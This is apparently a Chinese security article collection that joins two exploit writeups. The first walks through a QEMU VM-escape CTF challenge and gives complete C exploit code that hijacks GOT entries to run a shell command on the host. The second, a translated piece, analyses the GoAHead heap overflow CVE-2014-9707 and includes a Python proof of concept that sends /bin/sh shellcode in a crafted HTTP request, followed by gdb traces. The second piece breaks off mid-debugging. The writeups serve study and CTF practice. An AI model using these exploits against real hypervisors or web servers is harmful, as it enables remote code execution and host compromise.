将qemu-system-x86_64拖入ida中，查找与设备cydf-vga相关的函数
先分析cydf_vga_class_init初始化函数，同样需要将类型转化为PCIDeviceClass
void __fastcall cydf_vga_class_init(ObjectClass_0 *klass, void *data)
{
PCIDeviceClass *v2; // rbx
PCIDeviceClass *v3; // rax
v2 = object_class_dynamic_cast_assert(
klass,
"device",
"/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
3223,
"cydf_vga_class_init");
v3 = object_class_dynamic_cast_assert(
klass,
"pci-device",
"/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
3224,
"cydf_vga_class_init");
v3->realize = pci_cydf_vga_realize;
v3->romfile = "vgabios-cydf.bin";
v3->vendor_id = 0x1013;
v3->device_id = 0xB8;
v3->class_id = 0x300;
v2->parent_class.desc = "Cydf CLGD 54xx VGA";
v2->parent_class.categories[0] |= 0x20uLL;
v2->parent_class.vmsd = &vmstate_pci_cydf_vga;
v2->parent_class.props = pci_vga_cydf_properties;
v2->parent_class.hotpluggable = 0;
}
可以看到ctdf_vga这个pci设备的device_id=0xb8，vendor_id=0x1013。并且可以看到其parent_class描述为Cydf
CLGD 54xx VGA，于是在源码中搜索这个字符串
leo@ubuntu:~/qemu-5.0.0/hw/display
$ grep -r "Cydf CLGD 54xx VGA" ./
leo@ubuntu:~/qemu-5.0.0/hw/display
$ grep -r "CLGD 54xx VGA" ./
./cirrus_vga_rop2.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
Binary file ./cirrus_vga.o matches
./cirrus_vga_internal.h: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
./cirrus_vga_isa.c: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
Binary file ./.cirrus_vga.c.swp matches
./cirrus_vga_rop.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c: dc->desc = "Cirrus CLGD 54xx VGA";
发现源码中cirrus_vga.c出现类似的字符串，应该就是通过魔改Cirrus CLGD 54xx VGA Emulator设备形成的Cydf设备。
启动qemu时出现的错误及解决方法
$ ./run.sh
./qemu-system-x86_64: error while loading shared libraries: libcapstone.so.3: cannot open shared object file: No such file or directory
$ sudo apt-get install libcapstone3
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0300: 1013:00b8 -> cydf_vga
/ # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fa000000 0x00000000fbffffff 0x0000000000042208
0x00000000febc1000 0x00000000febc1fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febb0000 0x00000000febbffff 0x0000000000046200
可以看到存在3个mmio空间
在pci_cydf_vga_realize函数中，关注cydf_init_common函数
//cydf_init_common
memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io", 0x30uLL);
memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory", 0x20000uLL);
memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio", 0x1000uLL);
只关注跟cydf这个pci设备有关的内存空间函数，可以发现注册了一个0x30的PMIO空间、一个0x20000的MMIO空间以及一个0x1000的MMIO空间。但时在resource文件中没有看到PMIO的端口范围，于是查看/proc/ioports
/ # cat /proc/ioports
...
03c0-03df : vga+
...
发现vga+的端口范围正好为0x30的大小
根据[vgamem](http://www.osdever.net/FreeVGA/vga/vgamem.htm)中所描述，VGA显存在地址空间中的映射范围为0xa0000-0xbffff。因此查看/proc/iomem找到vga的地址空间
/ # cat /proc/iomem
...
000a0000-000bffff : PCI Bus 0000:00
...
从cydf_vga_io_ops、cydf_vga_mem_ops以及cydf_mmio_io_ops得到内存操作函数
cydf_vga_ioport_read
cydf_vga_ioport_write
cydf_vga_mem_read
cydf_vga_mem_write
cydf_mmio_read
cydf_mmio_write
### Step2 ：分析函数
分析功能函数前，需要先搞懂设备的结构体，在Local type中搜索Cydf可以找到CydfVGAState
通过对比cydf_vga_mem_write与cirrus_vga_mmio_write发现，原来cirrus_vga_mmio_write函数只有2种情况：addr
< 0x10000、0x18000 <= addr <
0x18100，而cydf_vga_mem_write多出一种情况：addr>=0x18100，需要重点分析这部分分支的逻辑。
//cydf_vga_mem_write
v6 = 205 * opaque->vga.sr[0xCC];
LOWORD(v6) = opaque->vga.sr[0xCC] / 5u;
v7 = opaque->vga.sr[0xCC] - 5 * v6;//sr[0xcc]%5
if ( *&opaque->vga.sr[205] )//idx=mem_value&0xff0000
LODWORD(mem_value) = (opaque->vga.sr[205] << 16) | (opaque->vga.sr[206] << 8) | mem_value;
if ( v7 == 2 )
{
v24 = BYTE2(mem_value);
if ( v24 <= 0x10 && *(&opaque->vga.vram_ptr + 2 * (v24 + 4925)) )
__printf_chk(1LL);
}
else
{
if ( v7 <= 2u )
{
if ( v7 == 1 )
{//opaque->vs.buf[cur_size++]=mem_value
if ( BYTE2(mem_value) > 0x10uLL )
return;
v8 = (opaque + 16 * BYTE2(mem_value));
v9 = v8->vs[offsetof(CydfVGAState, vga)].buf;
if ( !v9 )
return;
v10 = v8->vs[0].cur_size;
if ( v10 >= v8->vs[0].max_size )
return;
LABEL_26:
v8->vs[0].cur_size = v10 + 1;
v9[v10] = mem_value;
return;
}
goto LABEL_35;
}
if ( v7 != 3 )
{
if ( v7 == 4 )
{//opaque->vs.buf[cur_size++]=mem_value
//no check for cur_size
if ( BYTE2(mem_value) > 0x10uLL )
return;
v8 = (opaque + 16 * BYTE2(mem_value));
v9 = v8->vs[0].buf;
if ( !v9 )
return;
v10 = v8->vs[0].cur_size;
if ( v10 > 0xFFF )
return;
goto LABEL_26;
}
LABEL_35:
//v7==0
//opaque->vs.buf[vulncnt++]=malloc(mem_value)
v20 = vulncnt;
if ( vulncnt <= 0x10 && mem_value <= 0x1000uLL )
{
mem_valuea = mem_value;
v21 = malloc(mem_value);
v22 = (opaque + 16 * v20);
v22->vs[0].buf = v21;
if ( v21 )
{
vulncnt = v20 + 1;
v22->vs[0].max_size = mem_valuea;
}
}
return;
}
if ( BYTE2(mem_value) <= 0x10uLL )
{//v7==3
//v8->vs[0].max_size=mem_value
v23 = (opaque + 16 * BYTE2(mem_value));
if ( v23->vs[0].buf )
{
if ( mem_value <= 0x1000u )#
*&v23->vs[0].max_size = mem_value;
}
}
}
v7由opaque->vga.sr[204]来确定，那么opaque->vga.sr[204]是从哪里来的呢？我们发现可以通过cydf_vga_ioport_write函数来控制opaque->vga.sr[]数组的值
//cydf_vga_ioport_write
case 0x3C4uLL:
opaque->vga.sr_index = v4;
break;
case 0x3C5uLL:
v10 = opaque->vga.sr_index;
switch ( v10 )
{
case 8:
case 9:
case 0xA:
case 0xB:
case 0xC:
case 0xD:
case 0xE:
case 0xF:
case 0x13:
case 0x14:
case 0x15:
case 0x16:
case 0x18:
case 0x19:
case 0x1A:
case 0x1B:
case 0x1C:
case 0x1D:
case 0x1E:
case 0x1F:
case 0xCC:
case 0xCD:
case 0xCE:
LABEL_28:
opaque->vga.sr[v10] = v4;
break;
因此可以通过设置opaque->vga.sr_index索引的值为0xCC来控制v7的值，同样，我们也能控制opaque->vga.sr[0xCD/0XCE]的值
总共有5种功能
1. 1、v7==0时，opaque->vs[vulncnt].buf=malloc(mem_value&0xfff)，max_size==mem_value&0xfff
2. 2、v7==1时，当cur_size<max_size时，opaque->vs[idx].buf[cur_sizee++]=mem_value&0xff。
3. 3、v7==2时，printf_chk(1,opaque->vs[idx].buf)
4. 4、v7==3时，opaque->vs[idx].max_size=mem_value&0xfff
5. 5、v7==4时，opaque->vs[idx].buf[cur_sizee++]=mem_value&0xff
可以发现漏洞点
1. v7==4时，没有对cur_size进行检查，可以形成堆溢出
2. 从CydfVGAState_0结构体
//CydfVGAState_0
000133D8 vs VulnState_0 16 dup(?)
000134D8 latch dd 4 dup(?)
可以看到vs数组只有16个元素，而程序中对idx的判断允许idx==16，因此形成数组溢出到latch[0]。然后在cydf_vga_mem_read函数能控制latch[0]
v3 = opaque->latch[0];
if ( !(_WORD)v3 )
{
opaque->latch[0] = addr | v3;
return vga_mem_readb(&opaque->vga, addr);
}
opaque->latch[0] = (_DWORD)addr << 16;
得出的利用过程：
1. 1、往bss段一个地址addr写入”cat /flag”
2. 2、将qemu_logfile改为addr
3. 3、将vfprintf.got修改为system.plt
4. 4、将printf_chk.got改为qemu_log函数地址
5. 5、v7==2触发printf_chk
### Step3：调试
使用base64将exp编码，然后在虚拟机中解码来实现将exp上传到靶机中。在另一个终端中运行一下脚本
str=`ps -ax | grep qemu`
PID=${str/qemu-system-x86_64*/}
if [ "$str" != "$PID" ]; then
PID=${PID/ pt*/}
PID=${PID/ /}
echo ${PID}
sudo gdb -q --pid=${PID}
else
echo "run qemu first..."
fi
#### 访问PMIO
[UAFIO](https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html)描述说有三种方式访问PMIO，这里仍给出一个比较便捷的方法去访问，即通过IN以及
OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据（outb/inb, outw/inw,
outl/inl），函数的头文件为<sys/io.h>，函数的具体用法可以使用man手册查看。
还需要注意的是要访问相应的端口需要一定的权限，程序应使用root权限运行。对于0x000-0x3ff之间的端口，使用ioperm(from, num,
turn_on)即可；对于0x3ff以上的端口，则该调用执行iopl(3)函数去允许访问所有的端口（可使用man ioperm 和man
iopl去查看函数）。
这题vga+的端口为03c0-03df，因此只需要靶机具有root权限，并调用`ioperm(0x3b0, 0x30, 1)`打开端口。
在调用cydf_vga_ioport_write函数时使用outl和outw指令不能将val参数传进去，而用outb指令就能成功，这个问题没搞清楚。
#### 访问vga_mem
vga_mem的内存空间并没有在resource文件中体现，根据源码中对cirrus_vga_mem_read函数有个描述，vga的内存空间在0xa0000-0xbffff中，与`cat
/proc/iomem`的结果一致。
/***************************************
*
* memory access between 0xa0000-0xbffff
*
***************************************/
static uint64_t cirrus_vga_mem_read(void *opaque,
hwaddr addr,
uint32_t size)
有一个访问物理内存的简单方法时映射`/dev/mem`到我们的进程中，然后我们就可以像正常访存一样进行读写。但是提供的环境中并没有挂载/dev/mem文件，我们可以通过`mknod
-m 660 /dev/mem c 1 1`命令挂载上去。
system( "mknod -m 660 /dev/mem c 1 1" );
int fd = open( "/dev/mem", O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
mmio_mem = mmap( NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xfebc1000 );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
vga_mem = mmap( NULL, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xa0000 );
if ( !vga_mem ) {
die("mmap vga mem failed");
}
#### 程序没有在断点处断下
1. 1、在访问vga_mem内存调用cydf_vga_mem_read函数时，在调试器中并没有观察到程序流在此处断下。（这里卡了我很久）
可能的原因：在编译exp.c的过程中，如果访问了vga_mem没有对返回值进行处理，也就是这个操作对程序执行结果没有影响，编译器可能会将其进行优化，优化的结果会将这段代码删去，这样一来就不能触发断点。这可能也是很多现有的exp不能跑通的原因。
解决方法：将返回值结果输出
2. 2、同样的问题在调用vga_mem_write函数的时候出现，解决方法相同，也即将要写入的数据输出。
3. 3、在调用vga_mem_write函数进行任意地址写时，并实际写入的数据并不是我们传入的参数。
解决方法：同样还是将写入的数据输出。另外在写入”cat
/flag”字符串的时候，使用printf(“%s”)还是不能解决问题，而是通过将每个字符输出才能成功。
### exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
uint32_t mmio_addr = 0xfebc1000;
uint32_t mmio_size = 0x1000;
uint32_t vga_addr = 0xa0000;
uint32_t vga_size = 0x20000;
unsigned char* mmio_mem;
unsigned char* vga_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void set_sr(unsigned int idx, unsigned int val){
outb(idx,0x3c4);
outb(val,0x3c5);
}
void vga_mem_write(uint32_t addr, uint8_t value)
{
*( (uint8_t *) (vga_mem+addr) ) = value;
}
void set_latch( uint32_t value){
char a;
a = vga_mem[(value>>16)&0xffff];
write(1,&a,1);
a = vga_mem[value&0xffff];
write(1,&a,1);
}
int main(int argc, char *argv[])
{
//step 1 mmap /dev/mem to system, (man mem) to see the detail
system( "mknod -m 660 /dev/mem c 1 1" );
int fd = open( "/dev/mem", O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
//step2 map the address to fd
mmio_mem = mmap( NULL, mmio_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mmio_addr );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
vga_mem = mmap( NULL, vga_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, vga_addr );
if ( !vga_mem ) {
die("mmap vga mem failed");
}
if (ioperm(0x3b0, 0x30, 1) == -1) {
die("cannot ioperm");
}
set_sr(7,1);
set_sr(0xcc,4); //v7==4
set_sr(0xcd,0x10); //vs[0x10]
// write cat /flag to bss
char a;
unsigned int index = 0;
uint64_t bss = 0x10C9850;
char* payload = "cat /flag";
a=vga_mem[1];write(1,&a,1); //init latch
set_latch(bss); //set latch[0]
for (int i=0; i<9; i++) {
write(1,&payload[i],1);
vga_mem_write(0x18100,payload[i]);
}
index+=9;
//qemu_logfile -> bss
uint32_t qemu_logfile = 0x10CCBE0;
set_latch(qemu_logfile-index);
payload = (char*)&bss;
printf("%s\n",payload);
for (int i=0; i<8; i++) {
vga_mem_write(0x18100,payload[i]);
}
index+=8;
//vfprintf.got -> system.plt
uint32_t vfprintf_got=0xEE7BB0;
uint64_t system_plt=0x409DD0;
set_latch(vfprintf_got-index);
payload = (char*)&system_plt;
printf("%s\n",payload);
for (int i=0; i<8; i++) {
vga_mem_write(0x18100,payload[i]);
}
index+=8;
//printf_chk_got -> qemu_log
uint64_t qemu_log = 0x9726E8;
uint32_t printf_chk_got=0xEE7028;
set_latch(printf_chk_got-index);
payload = (char*)&qemu_log;
printf("%s\n",payload);
for (int i=0; i<8; i++) {
vga_mem_write(0x18100,payload[i]);
}
set_sr(0xcc,2);
vga_mem_write(0x18100,1);//printf_chk
return 0;
}
## 总结
第一题的漏洞在MMIO空间，而第二题的漏洞需要MMIO空间操作搭配PMIO空间操作。从出题角度看第一题属于出题者添加一个含有漏洞的设备，代码量和难度相对比较小；而第二题属于从qemu源码中修改形成的漏洞设备，代码量相对要大，难度较高。
本文断断续续花了笔者一周的时间，调试这两题遇到了很多问题，其中还有一些问题没有深究其原因，望各位指正！
## Reference
[qemu-pwn-seccon-2018-q-escape](https://ray-cp.github.io/archivers/qemu-pwn-seccon-2018-q-escape#%E6%8F%8F%E8%BF%B0)
[BlizzardCTF-2017-Strng](https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html)
[q-escape – SECCON 2018](https://devcraft.io/2018/11/22/q-escape-seccon-2018.html)
[cirrus_vga.c](https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga.c#L2004)
[vgamem](http://www.osdever.net/FreeVGA/vga/vgamem.htm)
题目文件：
[HITB GSEC2017_babyqemu](https://github.com/Snowleopard-bin/pwn/blob/master/qemu_escape/HITB_GSEC2017_babyqemu/HITB%20GSEC2017_babyqemu.tar.gz)
[seccon_2018_q-escape](https://github.com/Snowleopard-bin/pwn/blob/master/qemu_escape/seccon_2018_q-escape/seccon_2018_q-escape.tar.gz) | 社区文章 |
# 【技术分享】从CVE-2014-9707看unlink漏洞利用
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：k0shl**
**稿费：700RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**前言**
最近一直在看泉哥的
《漏洞战争：软件漏洞分析精要》，我接触二进制的时间并不长，但是觉得这本书特别好，最主要的原因是这本书中的漏洞涵盖了绝大多数常见的漏洞类型，而且，每个漏洞都能够还原出一个基本的漏洞模型。
说起漏洞模型，我在前不久碰到一个非常有趣的漏洞，也就是我写这篇文章的主角CVE-2014-9707，一个Linux下服务端软件GoAHead的堆溢出漏洞，在分析完这个漏洞后我发现，这个漏洞可以还原出一个非常有趣而且常见的基本漏洞模型，对于我这样的新人学习Linux下堆溢出漏洞利用有很大的帮助，因此我总结了整个过程与大家分享，最后要感谢fneig、explorer师傅的指导！
**
**
**漏洞分析**
首先我贴出这个漏洞的PoC
```
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
def hex2url(i):
array = format(i, 'X')
if len(array) % 2 != 0:
array = '0' + array
ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
return ret
def fake(chunk_addr):
print(hex(chunk_addr))
chunk = int(hex(chunk_addr)[0:8], 16) + 1
print(chunk)
fake_fd = hex(chunk)
fake_chunk_addr = int(fake_fd + '2f', 16)
fake_bk = fake_chunk_addr - 8
return fake_chunk_addr, int(fake_fd, 16), fake_bk
def make_fake_chunk(chunk_addr):
chunk = (chunk_addr & ~0xff) + 0x12f
fd = int(format(chunk, '08X')[:6], 16)
bk = chunk
return fd, bk, chunk
pro = remote('localhost', 80)
chunk = 0x8057840
fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))
shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"
shellcode_addr = fake_chunk + 4 * 4
offset = 0
exp = 'GET /'
exp += hex2url(fd) # fd
exp += hex2url(bk) # bk
exp += hex2url(0xbffff2ac - 20) # fd_next, stack
exp += hex2url(shellcode_addr) # bk_next
pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))
# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304) # prev_size
exp += hex2url(0x01020304) # size
exp += hex2url(chunk - 8) # fd
exp += hex2url(chunk - 8) # bk
exp += shellcode
print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))
exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.ssss'
#exp += 'A'*1024
exp += ' HTTP/1.0rnrn'
print(len(exp))
print(exp)
pro.send(exp)
```
这是一个非常有意思的堆溢出漏洞，Goahead是一个知名的Web
Server服务器，在处理传入数据包时，对数据包分别进行了一些处理，在处理之后与之前的长度，没有进行有效的对称，从而导致将后续数据包考入之前申请的缓冲区时，如果后续数据包长度过大，会使之前的缓冲区发生溢出。
之前缓冲区是malloc申请而成，溢出后，可以通过覆盖某些关键指针和变量，来在堆释放时触发unlink，从而导致任意代码执行，下面对此漏洞进行详细分析。
首先运行Goahead，然后通过gdb attach pid附加进程，运行exp，发现程序中断，命中断点。
```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x545
ECX: 0x545
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb28 --> 0x0
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
0004| 0xbfffeeb8 --> 0x6
0008| 0xbfffeebc --> 0x545
0012| 0xbfffeec0 --> 0xb7d74307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffeec4 --> 0xb7eec000 --> 0x1a5da8
0020| 0xbfffeec8 --> 0xbfffef64 --> 0x77 ('w')
0024| 0xbfffeecc --> 0xb7d759c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffeed0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
```
通过bt命令可以回溯调用。
```
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7d74307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7d759c3 in __GI_abort () at abort.c:89
#3 0xb7db26f8 in __libc_message (do_abort=do_abort@entry=0x1,
fmt=fmt@entry=0xb7ea865c "*** Error in `%s': %s: 0x%s ***n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7db876a in malloc_printerr (action=<optimized out>,
str=0xb7ea4138 "corrupted double-linked list", ptr=0x805cb28)
at malloc.c:4996
#5 0xb7db95fb in _int_free (av=0xb7eec420 <main_arena>, p=<optimized out>,
have_lock=0x0) at malloc.c:3996
#6 0xb7dbc0c3 in __GI___libc_free (mem=<optimized out>) at malloc.c:2946
#7 0xb7fb661d in websNormalizeUriPath (
pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
#8 0xb7fb8ab3 in parseFirstLine (wp=<optimized out>) at src/http.c:957
#9 parseIncoming (wp=<optimized out>) at src/http.c:872
#10 websPump (wp=0x804f560) at src/http.c:826
#11 0xb7fb906d in readEvent (wp=0x804f560) at src/http.c:799
#12 socketEvent (sid=0x2, mask=0x2, wptr=0x804f560) at src/http.c:737
#13 0xb7fc6322 in socketDoEvent (sp=0x804f4b0) at src/socket.c:650
#14 socketProcess () at src/socket.c:624
#15 0xb7fb35b5 in websServiceEvents (finished=0x804ab44 <finished>)
at src/http.c:1293
#16 0x08048c31 in main (argc=0x5, argv=0xbffff4b4, envp=0xbffff4cc)
at src/goahead.c:146
#17 0xb7d5fa63 in __libc_start_main (main=0x8048a70 <main>, argc=0x5,
argv=0xbffff4b4, init=0x80491e0 <__libc_csu_init>,
fini=0x8049250 <__libc_csu_fini>, rtld_fini=0xb7fedc90 <_dl_fini>,
stack_end=0xbffff4ac) at libc-start.c:287
#18 0x08048f67 in _start ()
```
查看一下现在服务器上的情况。
```
/./mean to strcat cannot heap overflow
goahead: 2: GET /%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%04%03%02%01%04%03%02%01%38%78%05%08%38%78%05%08%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69%6e%2f%73%68/./%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0
*** Error in `goahead': free(): corrupted unsorted chunks: 0x080622c0 ***
```
可以看到，此时已经出发了corrupted unsorted
chunks，这个是glibc在新版本后引入用于对抗unlink时指针欺骗的，但是不要紧，这个在利用中是可以绕过的，在分析时我们不关心。
但是由此可见，这时已经触发了unlink操作，接下来，根据bt回溯情况，来分析整个漏洞的成因。首先从main函数来跟踪一下调用情况，首先是在goahead.c中。
```
while (!finished || !*finished) {
if (socketSelect(-1, delay)) {
socketProcess(); open a socket process
}
```
首先在main函数中，会启用socketProcess，也就是启用Socket进程，接下来进入http.c中。
```
PUBLIC void socketProcess()
{
WebsSocket *sp;
int sid;
for (sid = 0; sid < socketMax; sid++) {
if ((sp = socketList[sid]) != NULL) {
if (sp->currentEvents & sp->handlerMask) {
socketDoEvent(sp); if sid then do event
}
}
}
}
```
在进程中，会调用一个socket事件，接着往里跟踪。
```
if (sp->handler && (sp->handlerMask & sp->currentEvents)) {
(sp->handler)(sid, sp->handlerMask & sp->currentEvents, sp->handler_data);
/*
Make sure socket pointer is still valid, then reset the currentEvents.
*/
if (socketList && sid < socketMax && socketList[sid] == sp) {
sp->currentEvents = 0; create a socket handler
}
```
这里会对sid进程句柄进行一些简单的判断，然后就会进入关键函数调用了。
```
static bool parseIncoming(Webs *wp)
{
WebsBuf *rxbuf;
char *end, c;
rxbuf = &wp->rxbuf;
while (*rxbuf->servp == 'r' || *rxbuf->servp == 'n') {
bufGetc(rxbuf);
}
if ((end = strstr((char*) wp->rxbuf.servp, "rnrn")) == 0) {
if (bufLen(&wp->rxbuf) >= BIT_GOAHEAD_LIMIT_HEADER) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Header too large");
return 1;
}
return 0;
}
trace(3 | WEBS_RAW_MSG, "n<<< Requestn");
c = *end;
*end = '';
trace(3 | WEBS_RAW_MSG, "%sn", wp->rxbuf.servp);
*end = c;
/*
Parse the first line of the Http header
*/
parseFirstLine(wp);
```
在函数中，会调用parseFirstLine函数，这个函数有一个参数，是一个结构体Webs。
```
typedef struct Webs {
WebsBuf rxbuf; /**< Raw receive buffer */
WebsBuf input; /**< Receive buffer after de-chunking */
char *uploadVar; /**< Current upload form variable name */
……省略一大部分定义
#endif
void *ssl; /**< SSL context */
} Webs;
```
这个Webs结构体其实包含了整个Web Server服务端需要的变量，那么继续往里跟踪。
```
static void parseFirstLine(Webs *wp)
{
char *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
int testPort;
^^^^
if (websGetLogLevel() == 2) { host = path = port = query = ext = NULL;
if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
error("Cannot parse URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
return;
}
if ((wp->path = websNormalizeUriPath(path)) == 0) {
error("Cannot normalize URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
wfree(buf);
return;
}
```
根据我们上面的回溯部分，可以看到函数中websNormalizeUriPath函数是漏洞触发的主要函数，它的参数path是数据包中我们构造的畸形字符串，而它又是从哪里来的呢？
注意一下上面的websUrlParse函数，中间会对path进行处理，下面动态调试。在websUrlParse下断点。
```
gdb-peda$ b websUrlParse
Breakpoint 1 at 0xb7fb5fd0: file src/http.c, line 3027.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff2c0 --> 0xbffff320 --> 0x2
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xb7eec420 --> 0x0
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb5fd0 (<websUrlParse>: push ebp)
